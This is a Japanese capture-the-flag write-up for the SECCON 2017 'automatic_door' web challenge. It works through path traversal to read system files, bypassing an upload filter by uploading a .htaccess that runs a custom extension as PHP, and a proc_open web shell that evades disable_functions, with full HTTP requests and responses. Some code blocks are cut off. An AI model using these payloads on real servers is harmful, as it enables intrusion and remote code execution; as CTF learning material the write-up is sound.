Tags: web php
Rating:
# ▼▼▼automatic_door(Web:500)、73/1028team=7.1%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```
automatic_door
Get shell, and execute /flag_x
```
---
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/`
↓
```
getSize();
}
}
return $bytestotal;
}
if (isset($_GET['action'])) {
if ($_GET['action'] == 'pwd') {
echo $d;
exit;
}
else if ($_GET['action'] == 'phpinfo') {
phpinfo();
exit;
}
else if ($_GET['action'] == 'read') {
$f = $_GET['filename'];
if (read_ok($f))
echo file_get_contents($d . $f);
else
echo $fail;
exit;
} else if ($_GET['action'] == 'write') {
$f = $_GET['filename'];
if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
print_r($_FILES['file']);
print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
}
else
echo $fail;
if (GetDirectorySize($d) > 10000) {
rmdir($d);
}
exit;
} else if ($_GET['action'] == 'delete') {
$f = $_GET['filename'];
if (write_ok($f))
print_r(unlink($d . $f));
else
echo $fail;
exit;
}
}
highlight_file(__FILE__);
```
↓
`$_GET['action']`では、`pwd`、`phpinfo`、`read`、`write`、`delete`が使えることがわかる。
---
順に使ってみる
### 【1:pwd】
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=pwd`
↓
`sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/`
↓
現在のフォルダが得られる
---
### 【2:phpinfo】
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=phpinfo`
↓
phpinfo()の内容が表示される。とりあえず、下記の気になる箇所だけ確認した。
```
allow_url_fopen=on
allow_url_include=off
```
↓
URLを挿入してもアクセスしにこない設定になっている。
---
### 【3:read】
ファイルを読み込めるのだが、現在読み込めるファイルがないので、パストラバーサルで`/etc/passwd`を読み込んでみる
↓
↓
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
ntp:x:108:114::/home/ntp:/bin/false
sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu User,,,:/home/ubuntu:/bin/bash
nomuken:x:1001:100::/home/nomuken:/bin/bash
seccon:x:1002:100::/home/seccon:/bin/bash
prometheus:x:110:117:Prometheus daemon,,,:/var/lib/prometheus:/bin/false
```
↓
パストラバーサルの脆弱性が存在し、ファイルが読み込めることがわかる★
---
### 【4:write】
```
} else if ($_GET['action'] == 'write') {
$f = $_GET['filename'];
if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
print_r($_FILES['file']);
print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
}
```
↓
`$_FILES['file']`とは、`POST`で`multipart/form-data`形式でアップロードされたファイルを取得するもの。
↓
`GET`で`action=write`を送信しつつ、`POST`で`file`パラメータを送信する必要がある。
---
ファイル名`test`で、内容`testtest`のものをアップロードしてみる
```
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=test HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 166
--boundary
Content-Disposition: form-data; name="action"
write
--boundary
Content-Disposition: form-data; name="file"; filename="test"
testtest
--boundary--
```
↓
`test`ファイルを読み込む
`GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=test`
↓
`testtest`が取得できた
↓
書き込み&閲覧することができた。
---
しかし、writeでは下記の制約がある
`if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {`
↓
`ph`がチェックされるのでphpファイルはアップロードできないようになっている。
---
次に設定変更できるファイルである`.httaccess`の現在の設定を確認するために、apache2の設定ファイル`/etc/apache2/apache2.conf`を取得してみる
↓
`GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../etc/apache2/apache2.conf`
↓
```
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
```
↓
`AccessFileName .htaccess`と`.htaccess`を読み込む設定になっており、`allowoverride None`が記載されていない。
↓
`.htaccess`をアップロードすれば、設定を変更することが可能。
---
下記のように、「拡張子`.tttt`の場合に、phpファイルとして実行する」ように記載した`.htaccess`ファイルをアップロードする。
↓
```
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=.htaccess HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 204
--boundary
Content-Disposition: form-data; name="action"
write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"
AddType application/x-httpd-php .php .tttt
--boundary--
```
↓
```
GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=.htaccess HTTP/1.1
↓
HTTP/1.1 200 OK
Date: Sun, 10 Dec 2017 03:24:56 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 42
Connection: close
Content-Type: text/html; charset=UTF-8
AddType application/x-httpd-php .php .tttt
```
↓
アップロードできていることが確認できた。
---
次に`p.tttt`というファイル名で、とりあえず`/bin/ls`を実行するPHPコードをアップロードしてみる。
↓
```
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 1200
--boundary
Content-Disposition: form-data; name="action"
write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"
--boundary--
```
↓
次に、アップロードした`p.tttt`ファイルにアクセスしてみる
`GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt`
↓
PHPが実行され、`ok`は表示されるものの`system()`が実行されないことがわかった。
---
よって、禁止されている関数を確認するために、`phpinfo()`を確認してみる。
↓
```
disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,passthru,popen,shell_exec,system
```
↓
これを元に、コマンド実行が可能な関数を絞っていく。
↓
```
×exec()
×passthru()
×shell_exec()
×system()
×pcntl_exec()
×pcntl_fork()
○proc_open()
×popen()
```
↓
`proc_open()`が使えそうだ
---
`p.tttt`というファイル名で、`/flag_x`を実行するPHPコードをアップロードする
↓
```
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 1200
--boundary
Content-Disposition: form-data; name="action"
write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"
array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($cmd, $descriptorspec, $pipes);
$result_message = "";
$error_message = "";
$return = null;
if (is_resource($process))
{
fputs($pipes[0], $stdin);
fclose($pipes[0]);
while ($error = fgets($pipes[2])){
$error_message .= $error;
}
while ($result = fgets($pipes[1])){
$result_message .= $result;
}
foreach ($pipes as $k=>$_rs){
if (is_resource($_rs)){
fclose($_rs);
}
}
$return = proc_close($process);
}
return array(
'return' => $return,
'stdout' => $result_message,
'stderr' => $error_message,
);
}
$cmd = "/flag_x";
$ret = system_ex($cmd, $input);
var_dump($ret);
?>
--boundary--
```
---
アップロードした`p.tttt`ファイルにアクセスする
`GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt`
↓
```
HTTP/1.1 200 OK
Date: Sun, 10 Dec 2017 03:51:22 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 141
Connection: close
Content-Type: text/html; charset=UTF-8
okarray(3) {
["return"]=>
int(0)
["stdout"]=>
string(41) "SECCON{f6c085facd0897b47f5f1d7687030ae7}
"
["stderr"]=>
string(0) ""
}
```
↓
`SECCON{f6c085facd0897b47f5f1d7687030ae7}`